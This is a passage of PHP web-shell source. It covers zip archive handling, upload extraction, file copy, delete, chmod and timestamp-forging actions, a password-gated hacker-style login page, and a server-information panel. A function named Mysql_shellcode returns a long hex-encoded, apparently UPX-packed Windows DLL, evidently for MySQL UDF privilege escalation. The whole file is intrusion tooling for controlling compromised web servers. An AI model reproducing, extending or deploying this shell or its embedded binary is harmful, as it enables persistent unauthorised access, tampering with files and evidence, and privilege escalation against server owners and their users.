$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name));
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('V', 32);
$cdrec .= pack('V', $this->old_offset);
$this->old_offset = $new_offset;
$cdrec .= $name;
$this->ctrl_dir[] = $cdrec;
}
function packfile()
{
$data = implode('', $this->datasec);
$ctrldir = implode('', $this->ctrl_dir);
return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
class zip
{
var $total_files = 0;
var $total_folders = 0;
function Extract($zn, $to, $index = Array(-1))
{
$ok = 0;
$zip = @fopen($zn, 'rb');
if (!$zip) return (-1);
$cdir = $this->ReadCentralDir($zip, $zn);
$pos_entry = $cdir['offset'];
if (!is_array($index)) {
$index = array($index);
}
for ($i = 0; $index[$i]; $i++) {
if (intval($index[$i]) != $index[$i] || $index[$i] > $cdir['entries'])
return (-1);
}
for ($i = 0; $i < $cdir['entries']; $i++) {
@fseek($zip, $pos_entry);
$header = $this->ReadCentralFileHeaders($zip);
$header['index'] = $i;
$pos_entry = ftell($zip);
@rewind($zip);
fseek($zip, $header['offset']);
if (in_array("-1", $index) || in_array($i, $index))
$stat[$header['filename']] = $this->ExtractFile($header, $to, $zip);
}
fclose($zip);
return $stat;
}
function ReadFileHeader($zip)
{
$binary_data = fread($zip, 30);
$data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);
$header['filename'] = fread($zip, $data['filename_len']);
if ($data['extra_len'] != 0) {
$header['extra'] = fread($zip, $data['extra_len']);
} else {
$header['extra'] = '';
}
$header['compression'] = $data['compression'];
$header['size'] = $data['size'];
$header['compressed_size'] = $data['compressed_size'];
$header['crc'] = $data['crc'];
$header['flag'] = $data['flag'];
$header['mdate'] = $data['mdate'];
$header['mtime'] = $data['mtime'];
if ($header['mdate'] && $header['mtime']) {
$hour = ($header['mtime'] & 0xF800) >> 11;
$minute = ($header['mtime'] & 0x07E0) >> 5;
$seconde = ($header['mtime'] & 0x001F) * 2;
$year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
$month = ($header['mdate'] & 0x01E0) >> 5;
$day = $header['mdate'] & 0x001F;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
} else {
$header['mtime'] = time();
}
$header['stored_filename'] = $header['filename'];
$header['status'] = "ok";
return $header;
}
function ReadCentralFileHeaders($zip)
{
$binary_data = fread($zip, 46);
$header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
if ($header['filename_len'] != 0)
$header['filename'] = fread($zip, $header['filename_len']);
else $header['filename'] = '';
if ($header['extra_len'] != 0)
$header['extra'] = fread($zip, $header['extra_len']);
else $header['extra'] = '';
if ($header['comment_len'] != 0)
$header['comment'] = fread($zip, $header['comment_len']);
else $header['comment'] = '';
if ($header['mdate'] && $header['mtime']) {
$hour = ($header['mtime'] & 0xF800) >> 11;
$minute = ($header['mtime'] & 0x07E0) >> 5;
$seconde = ($header['mtime'] & 0x001F) * 2;
$year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
$month = ($header['mdate'] & 0x01E0) >> 5;
$day = $header['mdate'] & 0x001F;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
} else {
$header['mtime'] = time();
}
$header['stored_filename'] = $header['filename'];
$header['status'] = 'ok';
if (substr($header['filename'], -1) == '/')
$header['external'] = 0x41FF0010;
return $header;
}
function ReadCentralDir($zip, $zip_name)
{
$size = filesize($zip_name);
if ($size < 277) $maximum_size = $size;
else $maximum_size = 277;
@fseek($zip, $size - $maximum_size);
$pos = ftell($zip);
$bytes = 0x00000000;
while ($pos < $size) {
$byte = @fread($zip, 1);
$bytes = ($bytes << 8) | ord($byte);
if ($bytes == 0x504b0506 or $bytes == 0x2e706870504b0506) {
$pos++;
break;
}
$pos++;
}
$fdata = fread($zip, 18);
$data = @unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $fdata);
if ($data['comment_size'] != 0) $centd['comment'] = fread($zip, $data['comment_size']);
else $centd['comment'] = '';
$centd['entries'] = $data['entries'];
$centd['disk_entries'] = $data['disk_entries'];
$centd['offset'] = $data['offset'];
$centd['disk_start'] = $data['disk_start'];
$centd['size'] = $data['size'];
$centd['disk'] = $data['disk'];
return $centd;
}
function ExtractFile($header, $to, $zip)
{
$header = $this->readfileheader($zip);
if (substr($to, -1) != "/") $to .= "/";
if ($to == './') $to = '';
$pth = explode("/", $to . $header['filename']);
$mydir = '';
for ($i = 0; $i < count($pth) - 1; $i++) {
if (!$pth[$i]) continue;
$mydir .= $pth[$i] . "/";
if ((!is_dir($mydir) && @mkdir($mydir, 0777)) || (($mydir == $to . $header['filename'] || ($mydir == $to && $this->total_folders == 0)) && is_dir($mydir))) {
@chmod($mydir, 0777);
$this->total_folders++;
echo "DIR: $mydir<br>";
}
}
if (strrchr($header['filename'], '/') == '/') return;
if (!($header['external'] == 0x41FF0010) && !($header['external'] == 16)) {
if ($header['compression'] == 0) {
$fp = @fopen($to . $header['filename'], 'wb');
if (!$fp) return (-1);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack('a' . $read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to . $header['filename'], $header['mtime']);
} else {
$fp = @fopen($to . $header['filename'] . '.gz', 'wb');
if (!$fp) return (-1);
$binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
Chr(0x00), time(), Chr(0x00), Chr(3));
fwrite($fp, $binary_data, 10);
$size = $header['compressed_size'];
while ($size != 0) {
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);
$binary_data = pack('a' . $read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
$binary_data = pack('VV', $header['crc'], $header['size']);
fwrite($fp, $binary_data, 8);
fclose($fp);
$gzp = @gzopen($to . $header['filename'] . '.gz', 'rb') or die("Cette archive est compress");
if (!$gzp) return (-2);
$fp = @fopen($to . $header['filename'], 'wb');
if (!$fp) return (-1);
$size = $header['size'];
while ($size != 0) {
$read_size = ($size < 2048 ? $size : 2048);
$buffer = gzread($gzp, $read_size);
$binary_data = pack('a' . $read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
gzclose($gzp);
touch($to . $header['filename'], $header['mtime']);
@unlink($to . $header['filename'] . '.gz');
}
}
$this->total_files++;
echo "FILE: $to$header[filename]<br>";
return true;
}
}
function start_unzip($tt, $tmp_name, $new_name, $todir = 'zipfile')
{
if ($tt == '1') {
$z = new Zip;
$have_zip_file = 0;
$upfile = array("tmp_name" => $tmp_name, "name" => $new_name);
if (is_file($upfile[tmp_name])) {
$have_zip_file = 1;
echo "<br>: " . $upfile[name] . "<br><br>";
if (preg_match('/\.zip$/mis', $upfile[name])) {
$result = $z->Extract($upfile[tmp_name], $todir);
if ($result == -1) {
echo "<br> " . $upfile[name] . " .<br>";
}
echo "<br>, " . $z->total_folders . " ," . $z->total_files . " .<br><br><br>";
} else {
echo "<br>" . $upfile[name] . " zip .<br><br>";
}
if (realpath($upfile[name]) != realpath($upfile[tmp_name])) {
@unlink($upfile[name]);
rename($upfile[tmp_name], $upfile[name]);
}
}
} elseif ($tt == '2') {
$zip = new ZipArchive();
if ($zip->open($tmp_name) !== TRUE) {
echo "";
}
$zip->extractTo($todir);
$zip->close();
} elseif ($tt == '3') {
$phar = new PharData($tmp_name);
$phar->extractTo($todir, null, true);
}
echo ' <a href="?eanver=main&path=' . urlencode($todir) . '"></a> <a href="javascript:history.go(-1);"></a>';
}
function listfiles($dir = ".", $faisunZIP, $mydir)
{
$sub_file_num = 0;
if (is_file($mydir . "$dir")) {
if (realpath($faisunZIP->gzfilename) != realpath($mydir . "$dir")) {
$faisunZIP->addfile(file_get_contents($mydir . $dir), "$dir");
return 1;
}
return 0;
}
$handle = opendir($mydir . "$dir");
while ($file = readdir($handle)) {
if ($file == "." || $file == "..") continue;
if (is_dir($mydir . "$dir/$file")) {
$sub_file_num += listfiles("$dir/$file", $faisunZIP, $mydir);
} else {
if (realpath($faisunZIP->gzfilename) != realpath($mydir . "$dir/$file")) {
$faisunZIP->addfile(file_get_contents($mydir . $dir . "/" . $file), "$dir/$file");
$sub_file_num++;
}
}
}
closedir($handle);
if (!$sub_file_num) $faisunZIP->addfile("", "$dir/");
return $sub_file_num;
}
function num_bitunit($num)
{
$bitunit = array(' B', ' KB', ' MB', ' GB');
for ($key = 0; $key < count($bitunit); $key++) {
if ($num >= pow(2, 10 * $key) - 1) {
$num_bitunit_str = (ceil($num / pow(2, 10 * $key) * 100) / 100) . " $bitunit[$key]";
}
}
return $num_bitunit_str;
}
function File_Act($array, $actall, $inver)
{
if (($count = count($array)) == 0)
return "";
if ($actall == 'e') {
$mydir = $_GET['path'] . '/';
$inver = urldecode($inver);
if (is_array($array)) {
$faisunZIP = new PHPzip;
if ($faisunZIP->startfile("$inver")) {
$filenum = 0;
foreach ($array as $file) {
$filenum += listfiles($file, $faisunZIP, $mydir);
}
$faisunZIP->createfile();
return ", " . $filenum . " .<br><a href='" . $inver . "'> " . $inver . " (" . num_bitunit(filesize("$inver")) . ")</a>";
} else {
return $inver . " ,.<br>";
}
} else {
return ".<br>";
}
}
$i = 0;
while ($i < $count) {
$array[$i] = urldecode($array[$i]);
switch ($actall) {
case "a" :
$inver = urldecode($inver);
if (!is_dir($inver))
return "";
$filename = array_pop(explode('/', $array[$i]));
$suc = @copy($array[$i], File_Str($inver . '/' . $filename)) ? "" : "";
$msg = "" . $inver . "" . $suc;
break;
case "b" :
$para_type = 1;
if (is_dir($array[$i]))
$para_type = 2;
delDirAndFile($array[$i]);
if ($para_type == 1) {
$suc = !is_file($array[$i]) ? "" : "";
} else if ($para_type == 2) {
$suc = !is_dir($array[$i]) ? "" : "";
}
$msg = "" . $suc;
break;
case "c" :
if (!preg_match("/^[0-7]{4}$/", $inver))
return "";
$newmode = base_convert($inver, 8, 10);
$suc = @chmod($array[$i], $newmode) ? "" : "";
$msg = "" . $inver . $suc;
break;
case "d" :
$suc = @touch($array[$i], strtotime($inver)) ? "" : "";
if ($suc == "") {
@chmod($array[$i], 0666);
$suc = @touch($array[$i], strtotime($inver)) ? "" : "";
}
$msg = "" . $inver . $suc;
break;
}
$i++;
}
return "" . $msg;
}
function html_base()
{
$str = <<<end
function base64encode(str){
var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var out, i, len;
var c1, c2, c3;
len = str.length;
i = 0;
out = "";
while (i < len) {
c1 = str.charCodeAt(i++) & 0xff;
if (i == len) {
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt((c1 & 0x3) << 4);
out += "==";
break;
}
c2 = str.charCodeAt(i++);
if (i == len) {
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
out += base64EncodeChars.charAt((c2 & 0xF) << 2);
out += "=";
break;
}
c3 = str.charCodeAt(i++);
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6));
out += base64EncodeChars.charAt(c3 & 0x3F);
}
return out;
}
function utf16to8(str) {
var out, i, len, c;
out = "";
len = str.length;
for(i = 0; i < len; i++) {
c = str.charCodeAt(i);
if ((c >= 0x0001) && (c <= 0x007F)) {
out += str.charAt(i);
} else if (c > 0x07FF) {
out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F));
out += String.fromCharCode(0x80 | ((c >> 6) & 0x3F));
out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F));
} else {
out += String.fromCharCode(0xC0 | ((c >> 6) & 0x1F));
out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F));
}
}
return out;
}
function utf8to16(str) {
var out, i, len, c;
var char2, char3;
out = "";
len = str.length;
i = 0;
while(i < len) {
c = str.charCodeAt(i++);
switch(c >> 4) {
case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7:
out += str.charAt(i-1);
break;
case 12: case 13:
char2 = str.charCodeAt(i++);
out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
break;
case 14:
char2 = str.charCodeAt(i++);
char3 = str.charCodeAt(i++);
out += String.fromCharCode(((c & 0x0F) << 12) |
((char2 & 0x3F) << 6) |
((char3 & 0x3F) << 0));
break;
}
}
return out;
}
end;
html_n($str);
}
function get_proxy_ip()
{
$arr_ip_header = array(
'HTTP_CDN_SRC_IP',
'HTTP_PROXY_CLIENT_IP',
'HTTP_WL_PROXY_CLIENT_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'REMOTE_ADDR',
);
$client_ip = 'unknown';
foreach ($arr_ip_header as $key) {
if (!empty($_SERVER[$key]) && strtolower($_SERVER[$key]) != 'unknown') {
$client_ip = $_SERVER[$key];
break;
}
}
return $client_ip;
}
function html_main()
{
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$hsafemode = "ON ()";
} else {
$hsafemode = "OFF ()";
}
$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
$Server_OS = PHP_OS;
$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
$web_server = php_uname();
$title = $_SERVER["HTTP_HOST"] . "__Manage";
html_n("<html><title>" . $title . "</title><table width='100%'><td align='center'><b>:{$hsafemode}-----{$Server_IP}-----{$Server_OS}-----{$Server_Soft}-----{$web_server}</b></td></table>");
html_n("<table width='100%' height='95.7%' border=0 cellpadding='0' cellspacing='0'><tr><td width='170'><iframe name='left' src='?eanver=left' width='100%' height='100%' frameborder='0'></iframe></td><td><iframe name='main' src='?eanver=main' width='100%' height='100%' frameborder='1'></iframe></td></tr></table></html>");
}
function refresh_page()
{
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$url = $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
print <<<END
<script type="text/javascript">
window.parent.location.href="{$url}";
</script>
END;
}
function islogin()
{
if (count($_GET) > 0) {
refresh_page();
die();
}
$title = $_SERVER["HTTP_HOST"] . "__Login";
$str = <<<end
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>{$title}</title>
</head>
<style type="text/css">body,td{font-size: 12px;color:#00ff00;background-color:#000000;}input,select,textarea{font-size: 12px;background-color:#FFFFCC;border:1px solid #fff}.C{background-color:#000000;border:0px}.cmd{background-color:#000;color:#FFF}body{margin: 0px;margin-left:4px;}BODY {SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}.am{color:#888;font-size:11px;}</style>
<body style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#626262,endColorStr=#1C1C1C)" scroll=no><center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><a href='' target='_blank'></a><br><br><form method='post'><input name='postpass' type='password' size='22'> <input type='submit' value=''><br><br><br><font color=#3399FF> 2019/4/12</font><br></div></center></body>
</html>
end;
html_n($str);
}
function Mysql_shellcode()
{
return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A